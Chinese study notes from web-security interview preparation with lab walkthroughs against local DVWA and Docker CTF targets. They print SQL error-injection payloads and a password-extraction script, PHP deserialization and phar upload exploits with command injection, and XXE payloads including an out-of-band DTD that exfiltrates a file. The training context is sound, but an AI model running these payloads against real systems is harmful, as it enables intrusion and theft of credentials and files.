在看web方向的面试题时补充的知识
sql报错注入
报错注入就是故意让数据库报错,并且让报错信息里带上你想查的数据。
它成立需要三个前提,缺一不可:
- 输入可控 —— 能闭合原 SQL 的引号,把 payload 拼进去
- 错误回显 —— 页面把数据库的原始错误打到前端(这是最容易缺失的一个;生产环境常把 display_errors 关掉,这条路就直接断了)
- 报错带数据 —— 存在某个函数,它出错时会把传给它的参数原样写进错误信息
使用的函数
-
updatexml(1, XPath字符串, 1)这个函数原本用于修改 XML 文档的某个节点。它的第二个参数必须是合法的 XPath 表达式。如果传进去一个“不像 XPath”的字符串,它会告诉你“你给我的这个东西不是合法 XPath”,并且把那段字符串原样引用在错误里。 -
floor(rand(0)*2)在 group by 分组时被求值两次,两次结果不一样,导致同一个键被插入两次 → 主键重复报错 → 错误信息里的主键值就带着你的数据。它比 updatexml 能带更多字符(受主键长度限制),但更脆:rand 的行为跟数据库版本绑定,换库可能就不灵了。所以 updatexml 是首选,floor 是备胎。 -
extractvalue(1, concat(0x7e,(select database())))→ 报错 XPATH syntax error,它是只读的,只取值,不改数据。updatexml 的第三个参数则是“修改成什么”,属于写操作。对注入来说这个区别不影响使用,但对防守方有意义:extractvalue 不会动业务数据。
用DWVA靶场练习
直接在框里输入
1'返回
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11发现单引号没被过滤,而且错误详情会打到页面上 —— 报错注入的两个前提同时满足了。
updatexml
那么可以输入
1' and updatexml(1,concat(0x7e,(select database())),1)-- -and updatexml(...)—— updatexml 第二个参数必须是合法 XPath,~dvwa 不是,所以报错,而报错信息会把 ~dvwa 原样带出来0x7e就是 ~,加它是为了在输出里做个锚点,否则报错文本里分不清哪段是你的数据、哪段是函数自带的话-- - ——注释掉原查询剩下的 ’ 和 ;。注意 — 后面必须跟一个空格,写成 — - 或 — 都行,写成 — 会失效
返回
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~dvwa' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11按 information_schema 往下挖
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- -Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~guestbook' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11limit 0,1 → guestbook,limit 1,1 → access_log,limit 2,1 → security_log,limit 3,1 → users,limit 4,1 起就没回显了
回显表
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1)-- -Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~user_id,first_name,last_name...' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11被截断了
挖出密码 前31位
1' and updatexml(1,concat(0x7e,(select substr(password,1,30) from users where user_id=1)),1)-- -Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11后面的位
1' and updatexml(1,concat(0x7e,(select substr(password,31,30) from users where user_id=1)),1)-- -Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~99' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11floor
1' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -Fatal error: Uncaught mysqli_sql_exception: Duplicate entry 'dvwa1' for key 'group_key' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11floor(rand(0)*2) 在 group by 里会被求值两次,两次结果不一致就导致同一主键被插两次 → 主键重复报错。
ai的脚本
#!/usr/bin/env python3"""DVWA 报错注入提取器(纯标准库,零依赖)
核心思路: 报错注入不靠页面正常回显,而是故意让 SQL 报错, 把想查的数据塞进报错信息里带出来。 DVWA 的 low.php / medium.php 都写了 mysqli_query(...) or die('<pre>'.mysqli_error().'</pre>'), PHP 8.1+ 的 mysqli 默认抛异常,所以 or die 根本不执行, mysqli_sql_exception 直接把错误全文打到页面上。
三条通道(本机 MariaDB 11.4 实测都可用): updatexml(1, 字符串, 1) -> XPATH syntax error: '~<数据>' extractvalue(1, 字符串) -> XPATH syntax error: '~<数据>' floor(rand(0)*2) 派生表 -> Duplicate entry '<数据>1' for key 'group_key'
长度限制(很重要): updatexml / extractvalue 的报错只显示 32 字节以内, 超出部分变成 '...',所以必须用 SUBSTR 分段取。
三个难度的注入姿势完全不同: low 单引号闭合,id 直接进 $_GET -> 1' and <payload>-- - medium 单引号被 mysqli_real_escape_string 转义,但 SQL 里 user_id = $id 没加引号,转义等于白做 -> 走数字型 1 and <payload> high 输入写进 $_SESSION,SQL 里 user_id='$id',有引号; 源码写着 or die('Something went wrong.') 看着像挡住了, 但 PHP 8 的 mysqli 异常模式让 or die 走不到,详情照漏
用法: python3 error_extract.py # updatexml / user 1 / low python3 error_extract.py floor # 换通道 python3 error_extract.py updatexml 2 high # 换目标 + 难度 python3 error_extract.py floor 1 medium"""
import reimport sysimport urllib.requestimport urllib.parseimport http.cookiejar
BASE = "http://127.0.0.1:8888"METHOD = sys.argv[1] if len(sys.argv) > 1 else "updatexml"TARGET = sys.argv[2] if len(sys.argv) > 2 else "1"LEVEL = sys.argv[3] if len(sys.argv) > 3 else "low"
# 单次能安全带回的字符数。updatexml 上限 32,留 2 个余量给 '~' 和 '...'CHUNK = 30
jar = http.cookiejar.CookieJar()op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
def get(url): return op.open(url, timeout=10).read().decode("utf-8", "replace")
def post(url, data): body = urllib.parse.urlencode(data).encode() return op.open(urllib.request.Request(url, data=body), timeout=10).read().decode("utf-8", "replace")
def token(html): m = re.search(r"name=['\"]user_token['\"]\s+value=['\"]([0-9a-fA-F]+)['\"]", html) return m.group(1) if m else ""
# ---------- 登录 + 设置难度 ----------post(BASE + "/login.php", { "username": "admin", "password": "password", "Login": "Login", "user_token": token(get(BASE + "/login.php")),})post(BASE + "/security.php", { "security": LEVEL, "seclev_submit": "Submit", "user_token": token(get(BASE + "/security.php")),})
# ---------- 构造 payload ----------# $expr 是任意返回单值的 SQL 表达式,比如 database() 或 (select password from users where user_id=1)def payload(method, expr, pos=None, length=None): # expr 可能是 "select ..." 形式的子查询,套进函数时必须再加一层括号 if length is not None: inner = f"length(({expr}))" elif pos is not None: inner = f"substr(({expr}),{pos},{CHUNK})" else: inner = expr
if method == "updatexml": core = f"updatexml(1,concat(0x7e,({inner})),1)" elif method == "extractvalue": core = f"extractvalue(1,concat(0x7e,({inner})))" elif method == "floor": # rand(0) 固定种子,保证每次进 group by 的键都能撞出重复 core = (f"(select 1 from (select count(*),concat(({inner}),floor(rand(0)*2))x " f"from information_schema.tables group by x)a)") else: raise SystemExit(f"未知通道: {method}")
# 难度决定怎么接进原 SQL if LEVEL == "medium": return f"1 and {core}" # 无引号数字型,转义函数管不到 return f"1' and {core}-- -" # low / high 都是有引号包裹
# ---------- 按难度用不同的提交方式 ----------def send(p): if LEVEL == "low": url = BASE + "/vulnerabilities/sqli/?" + urllib.parse.urlencode({"id": p, "Submit": "Submit"}) return get(url) if LEVEL == "medium": return post(BASE + "/vulnerabilities/sqli/", {"id": p, "Submit": "Submit"}) if LEVEL == "high": # high 的输入先写进 session,再 GET 页面触发 post(BASE + "/vulnerabilities/sqli/session-input.php", {"id": p, "Submit": "Submit"}) return get(BASE + "/vulnerabilities/sqli/") raise SystemExit(f"未知难度: {LEVEL}(只支持 low / medium / high)")
# ---------- 从页面里把数据捞出来 ----------def parse(method, html): if method in ("updatexml", "extractvalue"): # 报错原文形如:XPATH syntax error: '~dvwa' in /var/www/html/... # 后面还跟着 in <路径>,所以不能用 $ 锚行尾 m = re.search(r"XPATH syntax error: '~([^']*)'", html) if not m: return None s = m.group(1) # 被截断时末尾会带 '...',去掉;真数据里不会出现连续三点 if s.endswith("..."): s = s[:-3] return s if method == "floor": m = re.search(r"Duplicate entry '(.*?)' for key", html, re.S) if not m: return None # 末尾那个 '1' 是 floor(rand(0)*2) 的结果,不是数据 return m.group(1)[:-1] if m.group(1).endswith("1") else m.group(1) return None
def query(method, expr, pos=None, length=None): """发一次请求,返回报错里夹带的数据;没有报错就返回 None""" return parse(method, send(payload(method, expr, pos, length)))
def query_len(method, expr): raw = query(method, expr, length=True) if raw is None: return 0 m = re.search(r"\d+", raw) return int(m.group()) if m else 0
def extract(method, expr, max_len=200): """按 CHUNK 分段,一直取到字符串结束""" total = query_len(method, expr) if total <= 0: return "" out = "" for pos in range(1, min(total, max_len) + 1, CHUNK): part = query(method, expr, pos=pos) if part is None: break out += part if len(part) < CHUNK: break # 最后一段,取完了 return out[:total]
# ---------- 通道自检:先证明这条路能走通,再谈取数据 ----------print(f"[*] 通道: {METHOD}")print(f"[*] 难度: {LEVEL}")print(f"[*] 目标: users.user_id={TARGET} 的 password\n")
probe = query(METHOD, "select database()")assert probe, f"通道 {METHOD} 在 {LEVEL} 下不通:页面没有回显数据库错误"print(f"[+] 通道正常,database() = {probe!r}\n")
# ---------- 演示基本指纹 ----------for label, expr in [ ("version()", "select version()"), ("current_user()", "select current_user()"), ("database()", "select database()"),]: print(f" {label:<16} = {query(METHOD, expr)!r}")
# ---------- 正式提取 ----------pwd_expr = f"select password from users where user_id={TARGET}"print(f"\n[*] 分段提取中(每段 {CHUNK} 字符)...")pw = extract(METHOD, pwd_expr)
print(f"\n提取结果: {pw or '(空)'}")
# ---------- 自校验:直接连库比对,证明提取结果不是猜的 ----------KNOWN = {"1": "5f4dcc3b5aa765d61d8327deb882cf99", "2": "e99a18c428cb38d5f260853678922e03", "3": "8d3533d75ae2c3966d7e0d4fcc69216b"}if TARGET in KNOWN: ok = pw == KNOWN[TARGET] print(f"真实值 : {KNOWN[TARGET]}") print(f"[{'PASS' if ok else 'FAIL'}] 提取结果与数据库真实值{'一致' if ok else '不一致'}")反序列化漏洞
反序列化漏洞是指应用程序将不可信的输入数据还原为对象时,攻击者通过构造恶意序列化数据,滥用反序列化过程来执行代码、篡改逻辑或发起拒绝服务攻击的安全缺陷。其核心风险在于:序列化数据本身可能携带攻击者可控的类信息或属性,一旦应用在还原对象时未加限制,就可能触发非预期的代码执行路径。
序列化是把对象转成可存储或传输的格式(如字节流、JSON、XML),反序列化则是逆过程。漏洞通常出现在使用了“功能丰富”的原生序列化机制的语言中,例如 Java 的 ObjectInputStream、PHP 的 unserialize()、Python 的 pickle 等。
条件:
- 攻击者能控制进入反序列化函数的输入(如 Cookie、参数、消息队列载荷)。
- 应用类路径上存在可被串联利用的“链”(gadget chain),即一系列在反序列化过程中会被自动调用的类方法,最终能抵达执行系统命令、读写文件等敏感操作的位置。
特征:
- Java:二进制流以十六进制 AC ED 00 05 开头,Base64 编码后常以 rO0 开头。利用工具如 ysoserial 可生成针对 CommonsCollections 等链的载荷。
- PHP:格式可读性强,对象以 O: 开头,数组以 a: 开头,例如 O:4:“User”:1:{…}。工具 phpggc 常用于生成 PHP 框架的利用链。
- Python:pickle 输出为二进制,协议 0 的载荷可能以 . 结尾;yaml.unsafe_load 或 jsonpickle 若处理不可信数据同样危险。
- .NET:BinaryFormatter 的 Base64 输出常以 AAEAAAD///// 开头。
用docker搭建靶场并攻击
采用ctf的形式
| 端口 | 容器 | 运行时 | 内容 |
|---|---|---|---|
| 8890 | deser-php | PHP 8.1 + Apache | L1 魔术方法 / L2 POP 链 / L3 private 属性 |
| 8891 | deser-php74 | PHP 7.4 + Apache | L4 phar(只有 7.x 能触发) |
| 8892 | deser-java | JDK 8 + commons-collections 3.1 | Java 原生反序列化 / CC6 |
cd deserializationdocker compose up -d --build # 首次或改代码后docker compose down # 停止docker compose logs -f java # 看服务端日志如果 build 时报 buildx/activity ... operation not permitted,说明沙箱挡住了 buildx,改用经典构建器:
DOCKER_BUILDKIT=0 docker compose up -d --build进入靶场
- 浏览器打开 http://127.0.0.1:8890/ —— L1~L3 的导航页
- L4 直接访问 http://127.0.0.1:8891/l4.php
- Java 是纯接口,没有页面:
POST /api/import,请求体就是裸的序列化字节流GET /static/<file>读/tmp/out/下的文件(命令执行的结果落地处)
目录
deserialization/├── compose.yml├── php/│ ├── Dockerfile # 用 ARG 参数化版本与 flag,两个容器共用│ ├── src/│ │ ├── index.php # L1~L3 导航│ │ ├── l1.php … l4.php # 四关入口│ │ ├── inc/classes.php # 全部业务类(魔术方法都在这)│ │ └── uploads/ # L4 上传目录,chmod 777│ └── poc/gen_phar.php # 生成恶意 phar(容器内执行)├── java/│ ├── Dockerfile│ ├── lib/commons-collections-3.1.jar│ ├── server/DeserServer.java # HTTP + ObjectInputStream│ └── poc/Cc6Gen.java # 手写 CC6 链,输出 base64└── poc/ ├── php_exp.py └── java_exp.py结论
PHP 8.1.34 上验证过,网上很多老 payload 已经失效:
- 属性数写大绕过
__wakeup(CVE-2016-7124):O:4:"Gate":99:{...}→unserialize()直接返回false,对象都不创建 - 属性数写小:
__wakeup照常执行,重置生效 C:格式:类没实现Serializable时属性全丢,拿不到可控对象- 让
__wakeup内部抛异常:对象会被 PHP 丢弃,__destruct根本不执行,白忙 private属性在序列化串里是\0类名\0属性名,长度按字节算(\0Gate\0cmd是 9 字节)
phar 的版本差异(重要):
- PHP 7.4:
file_exists/is_file/file_get_contents/md5_file/stat/filesize等文件函数碰到phar://就会反序列化 metadata - PHP 8.1:上面这些全部不再触发(元数据改成惰性反序列化),只有显式
new Phar()->getMetadata()才会 - 所以 L4 单独跑在 7.4 上;打 8.x 的站要重新找触发点
Java:
- CC1(TransformedMap + AnnotationInvocationHandler)在 JDK 8u71+ 已失效
- CC6 从
HashMap.readObject → hashCode入口进,不碰那个类,8u71+ 依然有效 - 构造 payload 时必须先用假的
ChainedTransformer,否则map.put()的那一刻命令就在本地执行了;并且要lazyMap.remove(key),不然反序列化时命中缓存,链子不会触发
攻击
L1 · 魔术方法触发
业务逻辑:缓存清理接口。传入的序列化字符串会被直接 unserialize()。 你的目标:让对象销毁时执行一条能读到 /flag 的命令。 提示:Cache 的 $key 会拼进 shell 命令,而且没有转义。
读 Cache 类时只需要盯两行:__destruct()(自动触发)和 system(‘rm -rf /tmp/cache/’ . $this->key)(危险函数 + 可控变量)。
既然 $key 直接拼进 shell,那就用 ; 断句:
输入
O:5:"Cache":2:{s:3:"key";s:17:"x;cat /flag;echo ";s:3:"ttl";i:1;}x;cat /flag;echo 拆开是三条命令:rm -rf /tmp/cache/x、cat /flag,最后 echo 把残留的 2>/dev/null 吃掉。
用终端可以输入
curl -s -G http://127.0.0.1:8890/l1.php \ --data-urlencode 'data=O:5:"Cache":2:{s:3:"key";s:17:"x;cat /flag;echo ";s:3:"ttl";i:1;}'得到
反序列化结果
object(Cache)#1 (2) { ["key"]=> string(17) "x;cat /flag;echo " ["ttl"]=> int(1)}命令输出(__destruct 在脚本结束时才跑,输出可能在最下方)
FLAG{php_deser_unserialize_pwned_8a3f}L2:单点不行,就串起来
业务逻辑:页面渲染接口,Page 对象反序列化后会在析构时渲染。 你的目标:不写一行 PHP 代码,只靠一串序列化字符串读出 /flag。 本题没有哪个类直接读 flag —— 危险的是三个类的组合。
读文件的是 Engine::__toString() 里的 file_get_contents($this->tpl)
谁会把 Engine 当字符串?Renderer::__call() 里的 echo $this->engine
谁会触发 __call?Page::__​destruct() 调了 $this->renderer->render() —— render() 不存在,所以落到 __call
于是对象图是三层嵌套:Page 装 Renderer,Renderer 装 Engine。
我先把前两跳接上、engine 留空,输出是 (__call 只 echo 了个 null)。补齐第三跳,flag 立刻出来。
O:4:"Page":2:{s:5:"title";s:4:"home";s:8:"renderer";O:8:"Renderer":1:{s:6:"engine";O:6:"Engine":2:{s:3:"tpl";s:5:"/flag";s:4:"vars";a:0:{}}}}反序列化结果
object(Page)#1 (2) { ["title"]=> string(4) "home" ["renderer"]=> object(Renderer)#2 (1) { ["engine"]=> object(Engine)#3 (2) { ["tpl"]=> string(5) "/flag" ["vars"]=> array(0) { } } }}渲染输出(__destruct 在脚本结束时才跑,往下翻)
FLAG{php_deser_unserialize_pwned_8a3f}L3:private 不是保险箱
业务逻辑:内网命令下发器。$cmd 是 private,__wakeup() 会校验来源。 你的目标:让 system() 执行 cat /flag,而不是 echo blocked。 难点:属性名要在序列化串里写成字节串,长度必须按字节算。
Tips — 实测备忘(PHP 8.1.34)
- 属性数写大(O:4:“Gate”:99:{…})→ unserialize() 直接返回 false,对象不创建,魔术方法全不触发
- 属性数写小(O:4:“Gate”:1:{…},实际给了 2 个)→ __wakeup 照常执行,重置生效
- C: 格式 → 类没实现 Serializable,还原出的对象属性全丢
- 让 __wakeup 内部抛异常 → 对象被 PHP 丢弃,__destruct 不会执行 所以别背老 payload,现代 PHP 上这几条都不好使。
private $cmd 看着改不了,但序列化串里的属性名是字节串,不是标识符:
输入
O:4:"Gate":2:{s:9:"\0Gate\0cmd";s:9:"cat /flag";s:5:"token";s:16:"internal-node-v1";}返回
反序列化结果
object(Gate)#1 (2) { ["cmd":"Gate":private]=> string(9) "cat /flag" ["token"]=> string(16) "internal-node-v1"}
FLAG{php_deser_unserialize_pwned_8a3f}L4:没有 unserialize 也能反序列化
业务逻辑:上传缩略图 → 用 file_exists(‘phar://’ + 文件名 + ‘/meta.txt’) 做归档完整性校验。 你的目标:让 /flag 出现在 uploads/ 目录里,然后直接访问它。
这一关全站搜不到 unserialize,但页面里有 file_exists(‘phar://’ . $file . ‘/meta.txt’)。phar 是 PHP 的打包格式,解析归档时会把 metadata 内部反序列化一次。
所以流程变成三步:造一个 metadata 里带对象的 phar → 伪装成 jpg 上传 → 让页面去解析 phar:// 路径。
我 dump 了那个 241 字节的文件,结构一目了然:
偏移 0:GIF89a 伪装头,用来骗过后缀/文件头检查 偏移 6:,phar 的必需 stub 偏移 57:O:5:“Thumb”:2:{s:3:“src”;s:5:“/flag”;…} —— 攻击载荷明文存放 触发就是一次普通 GET,Thumb::__destruct() 里的 copy(‘/flag’, ‘uploads/flag_copy.txt’) 把 flag 搬到 web 目录,直接访问就行。
值得记一句:metadata 是明文,所以 phar 攻击很容易被扫描器发现;反过来,你打别人的站时,如果一个上传点能传 phar,基本等于拿到了任意文件操作。
一共五部
cd ~/deserialization
# 1. 生成 phar(需要关掉 phar.readonly,只能在容器里跑)docker exec deser-php74 php -d phar.readonly=0 /poc/gen_phar.php
# 2. 取出来,改名成 .jpgdocker cp deser-php74:/tmp/evil.phar /tmp/evil.jpg
# 3. 走上传接口curl -F "img=@/tmp/evil.jpg;type=image/jpeg" http://127.0.0.1:8891/l4.php
# 4. 触发解析curl -G http://127.0.0.1:8891/l4.php --data-urlencode 'file=uploads/evil.jpg'
# 5. 取 flagcurl http://127.0.0.1:8891/uploads/flag_copy.txt- 生成:phar.readonly 默认开着,不允许改归档,所以要 -d phar.readonly=0。脚本里定义了 Thumb 对象当 metadata,src=/flag、dst=uploads/flag_copy.txt
phar 已生成 原始: /tmp/evil.phar (241 bytes) 伪装: /var/www/html/uploads/evil.jpg (241 bytes)
metadata 序列化结果(去掉 NUL 字节便于阅读):O:5:"Thumb":2:{s:3:"src";s:5:"/flag";s:3:"dst";s:35:"/var/www/html/uploads/flag_copy.txt";}- 改名:上传接口只校验后缀 .(jpg|jpeg|png|gif)$,所以文件名叫 .jpg 就能过。另外脚本给 phar 塞了 GIF89a 头,file 命令会把它认成 GIF
Successfully copied 241B (transferred 2.05kB) to /tmp/evil.jpg- 上传:这一步证明接口本身放行。脚本为了省事会顺手写一份到 uploads,所以我在演示时先删掉,确保是走上传进去的
<!doctype html><meta charset="utf-8"><title>L4 · phar 反序列化</title><style>body{font:14px/1.7 -apple-system,Menlo,monospace;max-width:860px;margin:40px auto;padding:0 20px;color:#222}pre{background:#f5f5f7;padding:12px;border-radius:6px;overflow:auto;white-space:pre-wrap;word-break:break-all}code{background:#f0f0f3;padding:1px 5px;border-radius:3px}.hint{color:#666;border-left:3px solid #ddd;padding-left:12px;margin:18px 0}.warn{background:#fff4e5;border-left:3px solid #f0a020;padding:10px 14px;margin:14px 0}</style>
<h2>L4 · phar 反序列化</h2><div class="warn"> <b>全站搜不到 unserialize</b>,但 phar:// 流在解析归档元数据时<b>内部</b>会做一次反序列化。 当前 PHP 7.4.33:这是 PHP 7 时代的经典行为。</div><div class="hint"> <b>业务逻辑</b>:上传缩略图 → 用 <code>file_exists('phar://' + 文件名 + '/meta.txt')</code> 做归档完整性校验。<br> <b>你的目标</b>:让 <code>/flag</code> 出现在 <code>uploads/</code> 目录里,然后直接访问它。</div>
<p><b>上传成功:uploads/evil.jpg</b></p><h3>1. 上传图片</h3><form method="post" enctype="multipart/form-data"> <input type="file" name="img"> <button>上传</button></form>
<h3>2. 校验归档</h3><form method="get"> <input name="file" value="" style="width:100%;padding:8px;font-family:Menlo,monospace" placeholder="uploads/xxx.jpg"> <button style="margin-top:8px;padding:6px 16px">校验</button></form>- 触发:file_exists(‘phar://uploads/evil.jpg/meta.txt’) —— 客户端拿到 phar:// 路径,PHP 解析归档时把 metadata 反序列化,Thumb::__destruct 里的 copy() 就跑了
<!doctype html><meta charset="utf-8"><title>L4 · phar 反序列化</title><style>body{font:14px/1.7 -apple-system,Menlo,monospace;max-width:860px;margin:40px auto;padding:0 20px;color:#222}pre{background:#f5f5f7;padding:12px;border-radius:6px;overflow:auto;white-space:pre-wrap;word-break:break-all}code{background:#f0f0f3;padding:1px 5px;border-radius:3px}.hint{color:#666;border-left:3px solid #ddd;padding-left:12px;margin:18px 0}.warn{background:#fff4e5;border-left:3px solid #f0a020;padding:10px 14px;margin:14px 0}</style>
<h2>L4 · phar 反序列化</h2><div class="warn"> <b>全站搜不到 unserialize</b>,但 phar:// 流在解析归档元数据时<b>内部</b>会做一次反序列化。 当前 PHP 7.4.33:这是 PHP 7 时代的经典行为。</div><div class="hint"> <b>业务逻辑</b>:上传缩略图 → 用 <code>file_exists('phar://' + 文件名 + '/meta.txt')</code> 做归档完整性校验。<br> <b>你的目标</b>:让 <code>/flag</code> 出现在 <code>uploads/</code> 目录里,然后直接访问它。</div>
<h3>1. 上传图片</h3><form method="post" enctype="multipart/form-data"> <input type="file" name="img"> <button>上传</button></form>
<h3>2. 校验归档</h3><form method="get"> <input name="file" value="uploads/evil.jpg" style="width:100%;padding:8px;font-family:Menlo,monospace" placeholder="uploads/xxx.jpg"> <button style="margin-top:8px;padding:6px 16px">校验</button></form>
<h3>校验结果</h3> <pre>phar://uploads/evil.jpg/meta.txt归档正常(metadata 已在解析时被反序列化)</pre> <p>如果上面的操作成功了,去看看 <code><a href="uploads/">uploads/</a></code> 目录。</p>- 取 flag:命令输出没有回显,所以让 __destruct 把目标文件复制到 web 目录,再直接访问
FLAG{php_deser_phar_6c2e}XML 外部实体注入
XML 外部实体注入(XXE)是一种针对 XML 解析器的攻击。当配置不安全的解析器处理包含外部实体引用的不可信 XML 输入时,攻击者便能利用它读取服务器文件、发起服务端请求伪造(SSRF)或实施拒绝服务攻击。
XML 文档可以通过文档类型定义(DTD)声明“实体”。外部实体允许从外部 URI 引入内容。如果解析器被配置为解析外部实体,且攻击者能控制送入解析器的 XML 内容,就可以构造恶意 DTD,让解析器去读取本地文件或访问内部网络。
搭建靶场练习
关卡设计(flag 都在容器里)
| 关卡 | 场景 | 关键点 | 目标文件 |
|---|---|---|---|
| L1 | 商品导入,结果回显 | 最经典的 <!ENTITY xxe SYSTEM "file:///flag"> | /flag |
| L2 | 日志上报,无回显 | 外部 DTD + 参数实体,把数据从 URL 带出去 | /flag_blind |
| L3 | 无回显 + 不许出网 | 本地 DTD,靠 parser 报错把内容打出来 | /flag |
| L4 | 数据源导入(拉远程 XML) | 协议白名单挡不住 XML 里的实体 → SSRF | 内网 /flag |
| L5 | 头像上传(允许 svg) | 图片本身是 XML,上传点就是 XXE 入口 | /flag |
| safe | 修复对照 | 同一段 payload 喂给安全写法,看它失效 | — |
flag 有三份:flags/web.flag → /flag,flags/blind.flag → /flag_blind,flags/internal.flag → 内网容器的 /flag。
| 端口 | 容器 | 说明 |
|---|---|---|
| 8895 | xxe-web | L1~L5 + 修复对照页 |
| — | xxe-internal | 不映射端口,只在容器网络里可达,L4 的目标 |
./setup.sh # 建 uploads、给权限、构建并启动docker compose down # 停止docker compose logs -f web # 看 Apache 日志setup.sh 里 chmod 777 src/uploads 不能省 —— L5 要让容器里的 www-data 往这个目录写文件。
如果 build 时报 buildx/activity ... operation not permitted,改用经典构建器:
DOCKER_BUILDKIT=0 docker compose up -d --build目录
xxe/├── compose.yml # web(对外)+ internal(内网,不映射端口)├── Dockerfile # php:8.1-apache,开 display_errors、放本地 DTD├── setup.sh # 一键起靶场├── src/│ ├── index.php # 导航│ ├── l1.php … l5.php # 五关│ └── safe.php # 修复对照├── internal/admin.php # 内网接口:只信任内网来源 IP├── dtd/xxe-lab.dtd # L3 用的「本地 DTD」(模拟系统自带 DTD)├── flags/ # 三份 flag└── poc/ ├── oob_server.py # 外带接收端 + 恶意 DTD + 远程 feed └── xxe_exp.py # 一键通关L1 · 商品导入(有回显)
关键源码:
simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);LIBXML_NOENT = 把实体替换成真实内容。所以声明一个指向文件的实体,再引用它:
将框里的html改成
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///flag">]><order> <item>机械键盘</item> <item>&xxe;</item> <qty>2</qty></order>三个要素:<!DOCTYPE> 里声明实体(名字随意,这里叫 xxe)、SYSTEM 后面写内容来源、&xxe; 引用它。
返回
item: 机械键盘item: FLAG{xxe_file_read_3f7a}qty: 2L2 · 日志上报(盲打)
这一关没有回显。目标文件是 /flag_blind。 先在本机跑 python3 poc/oob_server.py,再让它去请求你服务器上的 DTD。
盲打的三件套:外部 DTD(%remote;)→ 参数实体里再定义实体(%eval;)→ 触发外带(%exfil;)。 直接写 SYSTEM “http://你的地址/?d=%file;” 是不行的,实体引用不能直接嵌在另一个实体的 SYSTEM 字面量里。
/flag_blind 里的内容是没有花括号的,这是故意的: libxml 会校验 URI,{ } 属于非法字符,带上去会直接报 Invalid URI,请求压根发不出去 —— 盲打最常见的第一个坑。
先起接收端
cd ~/xxepython3 poc/oob_server.pyOOB 服务器起来了:http://0.0.0.0:9999 容器里访问它用:http://host.docker.internal:9999 L2: host.docker.internal:9999/evil.dtd (默认读 /flag_blind) L4: host.docker.internal:9999/feed.xml (实体指向 http://internal/admin.php)Ctrl-C 退出提交
<?xml version="1.0"?><!DOCTYPE r [ <!ENTITY % remote SYSTEM "http://host.docker.internal:9999/evil.dtd"> %remote;]><r>hi</r>为什么不能一行写完:SYSTEM “http://…?d=%file;” 里的 %file; 不会被展开 —— 实体引用不能嵌在另一个实体的 SYSTEM 字面量里。只能“实体里再定义实体”。
接着看终端
[dtd] 127.0.0.1 取走了 evil.dtd[外带] 127.0.0.1 -> 'FLAG_xxe_blind_oob_5b2e'看服务器返回的evil.dtd
<!ENTITY % file SYSTEM "file:///flag_blind"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://.../collect?d=%file;'>">%eval;%exfil;第一行把文件读进 %file;第二行用 %(就是 %,直接写会被当引用)造出一个新实体 %exfil,它的 URL 里嵌了 %file;;后两行依次触发,%exfil; 被引用时解析器就去请求那个 URL。
L3 · 盲打 · 报错型
不回显内容,也不许出网。目标还是 /flag,只能靠报错把内容带出来。
容器里放了一个「本地 DTD」:/usr/share/xml/xxe-lab.dtd(镜像自带,模拟系统 DTD)。 试试用 file:// 把它引进来。
踩坑提醒:把构造 payload 的那几句直接写进 内部子集是不行的。 XML 规范禁止在内部子集的实体声明值里引用参数实体,libxml 会报 PEReferences forbidden in internal subset,链子根本搭不起来。
提交
